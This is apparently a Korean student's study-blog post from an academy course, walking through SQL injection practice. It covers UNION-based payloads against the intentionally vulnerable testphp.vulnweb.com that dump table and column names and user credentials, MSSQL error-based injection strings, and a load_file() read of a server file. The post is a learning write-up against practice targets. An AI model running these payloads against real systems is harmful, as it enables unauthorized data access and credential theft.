저번 시간에 했던걸 하는 느낌
이 파일 덕분에 localhost를 들어왔을 때 이러한 파일을 확인할 수 있음
select * from member where no=1
union all
select null,null,null,null,null,load_file('C:\\APM_Setup\\htdocs\\index.php');
특정파일의 시스템을 읽을 수 있다
경로 설정을 할때는 역슬러쉬를 한번씩 더 써줘야함
이렇게 확인했을 때는 콘솔에서 확인이 잘 안되기 때문에 GUI에서 확인해주었다.
테스트를 진행하는 사이트 : http:\\testphp.vulnweb.com
0. DB 테이블에서 컬럼의 갯수를 확인한다.
1. 계정 정보 확인
2. DBMS version 정보확인
3. table 조회 (목록을 보면 사용자의 정보가 저장되어있을 테이블을 확인한다)
4. 그 확인한 테이블에 컬럼을 조회한다.
5. 컬럼중에서도 사용자의 아이디와 패스워드로 추정되는 것이 있는데 그 추정되는 컬럼의 내용을 확인해서 id와 pw를 확인하고 로그인해라.
해답 (아래 들어갈 주소는 다 url에 검색해야하는 것)
0. DB 테이블에서 컬럼의 갯수를 확인한다.
home에 들어갔을 때 URL이 이렇게 생겼다.
이 URL에는 SQL쿼리문이 전달되고 있는 상황은 아니다.
categories를 들어갔을 때 이런 URL을 보면 쿼리가 전달이 되는거 같다.
select *
from ?
where cat=1로 전해지는거 같다.
작업할 페이지를 찾았다면, 이 쿼리의 컬럼의 갯수를 파악한다.
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null,null,null
컬럼의 갯수가 안맞는다면 이런 오류가 뜨는데 이 null의 갯수를 오류가 안뜰 때까지 확인해봄
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null,null,null,null,null,null,null,null,null,null,null
컬럼의 갯수가 11개인걸 파악했다.
1. 계정 정보 확인
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null,null,null,null,null,null,null,null,null,null,user()
이제는 계정 정보를 확인해야하는데 확인할 땐 user함수를 써준다.
이런식으로 하게되면 정확히 나오지 않게된다.
이걸 제대로 확인하기 위해 null을 숫자값으로 바꿔준다.
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,2,3,4,5,6,7,8,9,10,user()
이런식으로 화면에 나오게 되는 숫자가 어떤 숫자인지 알게된다.
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,2,3,4,5,6,user(),8,9,10,11
이런식으로 바꿔주었다.
그렇게 되면 숫자7번이 user()가 나오게 출력이 된다.
2. DBMS version 정보확인
버전을 출력할 땐 user 대신에 version으로 넣으면 알게될것이다.
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,2,3,4,5,6,version(),8,9,10,11
이런식으로 바꿔주었다.
3. table 조회 (목록을 보면 사용자의 정보가 저장되어있을 테이블을 확인한다)
table의 목록을 조회하고싶다면
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,2,3,4,5,6,table_name,8,9,10,11 from information_schema.tables
이런식으로 바꿔주었다.
하지만 너무 많이 나오기 때문에 정리를 해줘야 할듯 하다.
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,2,3,4,5,6,group_concat(table_name),8,9,10,11 from information_schema.tables
group_concat(table_name)을 써서 한줄만 나오게 해준다.
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,2,3,4,5,6,group_concat(table_name),8,9,10,11 from information_schema.tables where table_schema=database()
그래도 많기 때문에 schema라는 테이블의 database만 보여달라고 조건을 달아주게되면
이런식으로 조회된 테이블을 확인할 수 있다.
4. 그 확인한 테이블에 컬럼을 조회한다.
이중에 사용자에게 저장되어있을만한 테이블이 있는데 users일 것이다.
이 컬럼을 조회하는 방법은
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,2,3,4,5,6,group_concat(column_name),8,9,10,11 from information_schema.columns where table_name='users'
이렇게 컬럼을 확인할 수 있음
5. 컬럼중에서도 사용자의 아이디와 패스워드로 추정되는 것이 있는데 그 추정되는 컬럼의 내용을 확인해서 id와 pw를 확인하고 로그인해라.
이 컬럼의 내용을 보면 id와 pw가 저장되어있을만한 곳이 있는데 uname과 pass이다.
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,pass,3,4,5,6,uname,8,9,10,11 from users
2번에 pass를 넣어주고 7번에 uname을 넣어서 아이디를 확인해주고 url에 넣게되면 id와 비밀번호가 test인걸 확인할 수 있다.
sysobject : 뷰 가상 테이블
xtype
-S 시스템 테이블
-U 사용자 정의 테이블
이런 쿼리문이 있는데
having을 써서 일부로 오류를 낸다. 그 오류로 테이블을 확인하는것을 error based sql injection이다.
webhack에서 오류를 발생시켜서 원하는 정보를 획득한다.
이런식으로 오류가뜨는 구문을 사용해서 db의 이름이 webhack이라는 이름을 얻을 수 있다.
' or (select top 1 name from sysobjects where xtype='u' and name!='zipcode')>1--
결국 이렇게 하면 만약 테이블 수가 엄청 많아진다면 엄청 길어질 것이고 효율이 떨어질것이다. 그래서 이거보다 효율적인 방법을 생각해보면 사전편차순으로 정렬을 해주면 될것이다.
' or (select top 1 name from sysobjects where xtype='u' and name>'member' order by name)>1--
이런식으로 작성하게 되면 order by로 예외처리가 되면서 member의 다음 테이블이 나오게 된다.
select top 1 name
from (select top 2 name from sysobjects where xtype='u' order by name) as vtable
order by name
쿼리는 하위쿼리부터 해석을 해줘야한다.
sysobjects에서 이름을 확인하고싶은데 위에서 2번째에 사전순서로 정렬후 이렇게 쓴것을 vtable로 쓰겠다는 것이다.
만약 order by name에 desc를 준다면 상위에있는 2개를 뽑아와서 다시 내림차순으로 정리한다는 것이다.
webhack에 아이디에 넣고싶다면 이런식으로 작성해서 보여주게 되면 값이 zipcode로 나오는걸 확인할 수있다.
'or (select top 1 name from (select top 4 name from sysobjects where xtype='u' order by name) as vtable order by name desc)>1--
select top 1 column_name
from information_schema.columns
where table_name='member'
이렇게 하게되면 id가 출력되는데 id다음이 보고싶다면 and column_name!=id 이걸 붙여주면 되고 정렬을 하고싶다면 order by column_name을 붙여준다. 그리고 그 다음을 넣고싶다면 member 뒤에 and column_name>'address2'를 해줌
멤버 테이블에서 컬럼이름을 사전순서로 정렬 후 2번째 컬럼을 조회하는 쿼리
select top 1column_name
from ( select top 2 column_name from information_schema.columns where table_name='member' order by column_name) as vtable
order by column_name desc
'학원' 카테고리의 다른 글
2023/08/03 Blind Injection (0) | 2023.08.03 |
---|---|
2023/08/01 convert (0) | 2023.08.01 |
2023/07/28 메타데이터 (0) | 2023.07.28 |
2023/07/27 SQL Injection (0) | 2023.07.27 |
2023/07/25 SQL 정의어(DDL), 조작어(DML) (0) | 2023.07.25 |